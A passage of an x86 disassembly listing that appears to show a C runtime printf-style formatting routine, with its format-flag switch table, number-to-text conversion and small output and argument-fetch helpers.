loc_419DE5:				; CODE XREF: sub_419D23+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_419DF8
		push	2
		push	0
		push	ebx
		call	sub_41E517
		add	esp, 0Ch


loc_419DF8:				; CODE XREF: sub_419D23+A0j
					; sub_419D23+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_419E16
; ---------------------------------------------------------------------------


loc_419E02:				; CODE XREF: sub_419D23+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_41ED97
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_419E16:				; CODE XREF: sub_419D23+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_419E22
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_419E31
; ---------------------------------------------------------------------------


loc_419E22:				; CODE XREF: sub_419D23+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_419E34
; ---------------------------------------------------------------------------


loc_419E2C:				; CODE XREF: sub_419D23+10j
					; sub_419D23+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_419E31:				; CODE XREF: sub_419D23+FDj
		or	eax, 0FFFFFFFFh


loc_419E34:				; CODE XREF: sub_419D23+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419D23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E38	proc near		; CODE XREF: sub_4172AE+29p
					; sub_41782A+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41A551
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_419E6C
; ---------------------------------------------------------------------------


loc_419E64:				; CODE XREF: sub_419E38+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_419E6C:				; CODE XREF: sub_419E38+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41A551
		cmp	bl, 20h
		jl	short loc_419E8D
		cmp	bl, 78h
		jg	short loc_419E8D
		movsx	eax, bl
		mov	al, [eax+42469Ch]
		and	eax, 0Fh
		jmp	short loc_419E8F
; ---------------------------------------------------------------------------


loc_419E8D:				; CODE XREF: sub_419E38+40j
					; sub_419E38+45j
		xor	eax, eax


loc_419E8F:				; CODE XREF: sub_419E38+53j
		movsx	eax, byte_4246BC[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41A540	; default
		jmp	off_41A559[eax*4] ; switch jump


loc_419EAD:				; DATA XREF: ___:off_41A559o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 00419EA6 case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419EC8:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		movsx	eax, bl		; jumptable 00419EA6 case 2
		sub	eax, 20h
		jz	short loc_419F0B
		sub	eax, 3
		jz	short loc_419F02
		sub	eax, 8
		jz	short loc_419EF9
		dec	eax
		dec	eax
		jz	short loc_419EF0
		sub	eax, 3
		jnz	loc_41A540	; default
		or	[ebp+var_4], 8
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419EF0:				; CODE XREF: sub_419E38+A4j
		or	[ebp+var_4], 4
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419EF9:				; CODE XREF: sub_419E38+A0j
		or	[ebp+var_4], 1
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F02:				; CODE XREF: sub_419E38+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F0B:				; CODE XREF: sub_419E38+96j
		or	[ebp+var_4], 2
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F14:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		cmp	bl, 2Ah		; jumptable 00419EA6 case 3
		jnz	short loc_419F3C
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41A540	; default
		or	[ebp+var_4], 4
		neg	eax


loc_419F34:				; CODE XREF: sub_419E38+111j
		mov	[ebp+var_20], eax
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F3C:				; CODE XREF: sub_419E38+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_419F34
; ---------------------------------------------------------------------------


loc_419F4B:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		mov	[ebp+var_10], edx ; jumptable 00419EA6 case 4
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F53:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		cmp	bl, 2Ah		; jumptable 00419EA6 case 5
		jnz	short loc_419F76
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41A540	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F76:				; CODE XREF: sub_419E38+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F88:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		cmp	bl, 49h		; jumptable 00419EA6 case 6
		jz	short loc_419FBB
		cmp	bl, 68h
		jz	short loc_419FB2
		cmp	bl, 6Ch
		jz	short loc_419FA9
		cmp	bl, 77h
		jnz	loc_41A540	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419FA9:				; CODE XREF: sub_419E38+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419FB2:				; CODE XREF: sub_419E38+158j
		or	[ebp+var_4], 20h
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419FBB:				; CODE XREF: sub_419E38+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_419FD4
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_419FD4
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419FD4:				; CODE XREF: sub_419E38+186j
					; sub_419E38+18Cj
		mov	[ebp+var_30], edx


loc_419FD7:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		mov	ecx, off_4395A0	; jumptable 00419EA6 case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41A003
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41A579
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41A003:				; CODE XREF: sub_419E38+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41A579
		add	esp, 0Ch
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_41A01B:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		movsx	eax, bl		; jumptable 00419EA6 case 7
		cmp	eax, 67h
		jg	loc_41A243
		cmp	eax, 65h
		jge	loc_41A0C6
		cmp	eax, 58h
		jg	loc_41A124
		jz	loc_41A2B7
		sub	eax, 43h
		jz	loc_41A0E7
		dec	eax
		dec	eax
		jz	short loc_41A0BC
		dec	eax
		dec	eax
		jz	short loc_41A0BC
		sub	eax, 0Ch
		jnz	loc_41A442
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41A065
		or	byte ptr [ebp+var_4+1],	8


loc_41A065:				; CODE XREF: sub_419E38+227j
					; sub_419E38+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41A072
		mov	esi, 7FFFFFFFh


loc_41A072:				; CODE XREF: sub_419E38+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41A28B
		test	ecx, ecx
		jnz	short loc_41A09A
		mov	ecx, off_43959C
		mov	[ebp+var_8], ecx


loc_41A09A:				; CODE XREF: sub_419E38+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_41A0A3:				; CODE XREF: sub_419E38+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41A282
		cmp	word ptr [eax],	0
		jz	loc_41A282
		inc	eax
		inc	eax
		jmp	short loc_41A0A3
; ---------------------------------------------------------------------------


loc_41A0BC:				; CODE XREF: sub_419E38+212j
					; sub_419E38+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41A0C6:				; CODE XREF: sub_419E38+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41A1AA
		mov	[ebp+var_10], 6
		jmp	loc_41A1B8
; ---------------------------------------------------------------------------


loc_41A0E7:				; CODE XREF: sub_419E38+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41A0F3
		or	byte ptr [ebp+var_4+1],	8


loc_41A0F3:				; CODE XREF: sub_419E38+2B5j
					; sub_419E38+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41A13A
		call	sub_41A634
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41FAFB
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41A14D
		mov	[ebp+var_28], 1
		jmp	short loc_41A14D
; ---------------------------------------------------------------------------


loc_41A124:				; CODE XREF: sub_419E38+1FBj
		sub	eax, 5Ah
		jz	short loc_41A15B
		sub	eax, 9
		jz	short loc_41A0F3
		dec	eax
		jz	loc_41A31D
		jmp	loc_41A442
; ---------------------------------------------------------------------------


loc_41A13A:				; CODE XREF: sub_419E38+2C5j
		call	sub_41A617
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41A14D:				; CODE XREF: sub_419E38+2E1j
					; sub_419E38+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41A442
; ---------------------------------------------------------------------------


loc_41A15B:				; CODE XREF: sub_419E38+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	eax, eax
		pop	ecx
		jz	short loc_41A19C
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41A19C
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41A18D
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41A442
; ---------------------------------------------------------------------------


loc_41A18D:				; CODE XREF: sub_419E38+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41A43F
; ---------------------------------------------------------------------------


loc_41A19C:				; CODE XREF: sub_419E38+32Fj
					; sub_419E38+336j
		mov	eax, off_439598
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41A238
; ---------------------------------------------------------------------------


loc_41A1AA:				; CODE XREF: sub_419E38+29Dj
		jnz	short loc_41A1B8
		cmp	bl, 67h
		jnz	short loc_41A1B8
		mov	[ebp+var_10], 1


loc_41A1B8:				; CODE XREF: sub_419E38+2AAj
					; sub_419E38:loc_41A1AAj ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43B900
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41A20A
		cmp	[ebp+var_10], 0
		jnz	short loc_41A20A
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43B90C
		pop	ecx


loc_41A20A:				; CODE XREF: sub_419E38+3BCj
					; sub_419E38+3C2j
		cmp	bl, 67h
		jnz	short loc_41A221
		test	esi, esi
		jnz	short loc_41A221
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43B904
		pop	ecx


loc_41A221:				; CODE XREF: sub_419E38+3D5j
					; sub_419E38+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41A237
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41A237:				; CODE XREF: sub_419E38+3F0j
		push	edi


loc_41A238:				; CODE XREF: sub_419E38+36Dj
		call	sub_417AB0
		pop	ecx
		jmp	loc_41A43F
; ---------------------------------------------------------------------------


loc_41A243:				; CODE XREF: sub_419E38+1E9j
		sub	eax, 69h
		jz	loc_41A31D
		sub	eax, 5
		jz	loc_41A2F3
		dec	eax
		jz	loc_41A2E0
		dec	eax
		jz	short loc_41A2B0
		sub	eax, 3
		jz	loc_41A065
		dec	eax
		dec	eax
		jz	loc_41A321
		sub	eax, 3
		jnz	loc_41A442
		mov	[ebp+var_2C], 27h
		jmp	short loc_41A2BE
; ---------------------------------------------------------------------------


loc_41A282:				; CODE XREF: sub_419E38+270j
					; sub_419E38+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41A43F
; ---------------------------------------------------------------------------


loc_41A28B:				; CODE XREF: sub_419E38+24Fj
		test	ecx, ecx
		jnz	short loc_41A298
		mov	ecx, off_439598
		mov	[ebp+var_8], ecx


loc_41A298:				; CODE XREF: sub_419E38+455j
		mov	eax, ecx


loc_41A29A:				; CODE XREF: sub_419E38+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41A2A9
		cmp	byte ptr [eax],	0
		jz	short loc_41A2A9
		inc	eax
		jmp	short loc_41A29A
; ---------------------------------------------------------------------------


loc_41A2A9:				; CODE XREF: sub_419E38+467j
					; sub_419E38+46Cj
		sub	eax, ecx
		jmp	loc_41A43F
; ---------------------------------------------------------------------------


loc_41A2B0:				; CODE XREF: sub_419E38+425j
		mov	[ebp+var_10], 8


loc_41A2B7:				; CODE XREF: sub_419E38+201j
		mov	[ebp+var_2C], 7


loc_41A2BE:				; CODE XREF: sub_419E38+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41A328
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41A328
; ---------------------------------------------------------------------------


loc_41A2E0:				; CODE XREF: sub_419E38+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41A328
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41A328
; ---------------------------------------------------------------------------


loc_41A2F3:				; CODE XREF: sub_419E38+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41A30C
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41A311
; ---------------------------------------------------------------------------


loc_41A30C:				; CODE XREF: sub_419E38+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41A311:				; CODE XREF: sub_419E38+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_41A31D:				; CODE XREF: sub_419E38+2F7j
					; sub_419E38+40Ej
		or	[ebp+var_4], 40h


loc_41A321:				; CODE XREF: sub_419E38+432j
		mov	[ebp+var_C], 0Ah


loc_41A328:				; CODE XREF: sub_419E38+491j
					; sub_419E38+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41A33A
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A624
		pop	ecx
		jmp	short loc_41A37B
; ---------------------------------------------------------------------------


loc_41A33A:				; CODE XREF: sub_419E38+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41A361
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41A356
		call	sub_41A617
		pop	ecx
		movsx	eax, ax


loc_41A353:				; CODE XREF: sub_419E38+527j
					; sub_419E38+539j
		cdq
		jmp	short loc_41A37B
; ---------------------------------------------------------------------------


loc_41A356:				; CODE XREF: sub_419E38+510j
		call	sub_41A617
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41A353
; ---------------------------------------------------------------------------


loc_41A361:				; CODE XREF: sub_419E38+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41A373
		call	sub_41A617
		pop	ecx
		jmp	short loc_41A353
; ---------------------------------------------------------------------------


loc_41A373:				; CODE XREF: sub_419E38+531j
		call	sub_41A617
		pop	ecx
		xor	edx, edx


loc_41A37B:				; CODE XREF: sub_419E38+500j
					; sub_419E38+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41A39C
		test	edx, edx
		jg	short loc_41A39C
		jl	short loc_41A38B
		test	eax, eax
		jnb	short loc_41A39C


loc_41A38B:				; CODE XREF: sub_419E38+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41A3A0
; ---------------------------------------------------------------------------


loc_41A39C:				; CODE XREF: sub_419E38+547j
					; sub_419E38+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_41A3A0:				; CODE XREF: sub_419E38+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41A3A9
		and	edi, 0


loc_41A3A9:				; CODE XREF: sub_419E38+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41A3B8
		mov	[ebp+var_10], 1
		jmp	short loc_41A3BC
; ---------------------------------------------------------------------------


loc_41A3B8:				; CODE XREF: sub_419E38+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_41A3BC:				; CODE XREF: sub_419E38+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41A3C6
		and	[ebp+var_1C], 0


loc_41A3C6:				; CODE XREF: sub_419E38+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_41A3CC:				; CODE XREF: sub_419E38+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41A3DC
		mov	eax, esi
		or	eax, edi
		jz	short loc_41A417


loc_41A3DC:				; CODE XREF: sub_419E38+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_4191D0
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_419250
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41A40D
		add	ebx, [ebp+var_2C]


loc_41A40D:				; CODE XREF: sub_419E38+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41A3CC
; ---------------------------------------------------------------------------


loc_41A417:				; CODE XREF: sub_419E38+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41A442
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41A435
		test	eax, eax
		jnz	short loc_41A442


loc_41A435:				; CODE XREF: sub_419E38+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41A43F:				; CODE XREF: sub_419E38+35Fj
					; sub_419E38+406j ...
		mov	[ebp+var_C], eax


loc_41A442:				; CODE XREF: sub_419E38+21Bj
					; sub_419E38+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41A540	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41A47A
		test	bh, 1
		jz	short loc_41A45F
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41A473
; ---------------------------------------------------------------------------


loc_41A45F:				; CODE XREF: sub_419E38+61Fj
		test	bl, 1
		jz	short loc_41A46A
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41A473
; ---------------------------------------------------------------------------


loc_41A46A:				; CODE XREF: sub_419E38+62Aj
		test	bl, 2
		jz	short loc_41A47A
		mov	[ebp+var_16], 20h


loc_41A473:				; CODE XREF: sub_419E38+625j
					; sub_419E38+630j
		mov	[ebp+var_1C], 1


loc_41A47A:				; CODE XREF: sub_419E38+61Aj
					; sub_419E38+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41A49A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41A5AE
		add	esp, 10h


loc_41A49A:				; CODE XREF: sub_419E38+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41A5DF
		add	esp, 10h
		test	bl, 8
		jz	short loc_41A4CC
		test	bl, 4
		jnz	short loc_41A4CC
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41A5AE
		add	esp, 10h


loc_41A4CC:				; CODE XREF: sub_419E38+67Bj
					; sub_419E38+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41A513
		cmp	[ebp+var_C], 0
		jle	short loc_41A513
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_41A4E1:				; CODE XREF: sub_419E38+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_41FAFB
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41A528
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41A5DF
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41A4E1
		jmp	short loc_41A528
; ---------------------------------------------------------------------------


loc_41A513:				; CODE XREF: sub_419E38+698j
					; sub_419E38+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41A5DF
		add	esp, 10h


loc_41A528:				; CODE XREF: sub_419E38+6BCj
					; sub_419E38+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41A540 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41A5AE
		add	esp, 10h


loc_41A540:				; CODE XREF: sub_419E38+68j
					; sub_419E38+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_419E64


loc_41A551:				; CODE XREF: sub_419E38+1Fj
					; sub_419E38+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419E38	endp

; ---------------------------------------------------------------------------
off_41A559	dd offset loc_419FD7	; DATA XREF: sub_419E38+6Er
		dd offset loc_419EAD	; jump table for switch	statement
		dd offset loc_419EC8
		dd offset loc_419F14
		dd offset loc_419F4B
		dd offset loc_419F53
		dd offset loc_419F88
		dd offset loc_41A01B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A579	proc near		; CODE XREF: sub_419E38+1BDp
					; sub_419E38+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41A592
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41A59D
; ---------------------------------------------------------------------------


loc_41A592:				; CODE XREF: sub_41A579+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_419D23
		pop	ecx
		pop	ecx


loc_41A59D:				; CODE XREF: sub_41A579+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41A5AA
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41A5AA:				; CODE XREF: sub_41A579+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41A579	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A5AE	proc near		; CODE XREF: sub_419E38+65Ap
					; sub_419E38+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41A5DC
		mov	esi, [esp+8+arg_C]


loc_41A5BF:				; CODE XREF: sub_41A5AE+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41A579
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41A5DC
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41A5BF


loc_41A5DC:				; CODE XREF: sub_41A5AE+Bj
					; sub_41A5AE+25j
		pop	edi
		pop	esi
		retn
sub_41A5AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A5DF	proc near		; CODE XREF: sub_419E38+670p
					; sub_419E38+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41A613
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_41A5F5:				; CODE XREF: sub_41A5DF+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41A579
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41A613
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41A5F5


loc_41A613:				; CODE XREF: sub_41A5DF+Cj
					; sub_41A5DF+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A5DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A617	proc near		; CODE XREF: sub_419E38+E5p
					; sub_419E38+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41A617	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A624	proc near		; CODE XREF: sub_419E38+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41A624	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A634	proc near		; CODE XREF: sub_419E38+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41A634	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


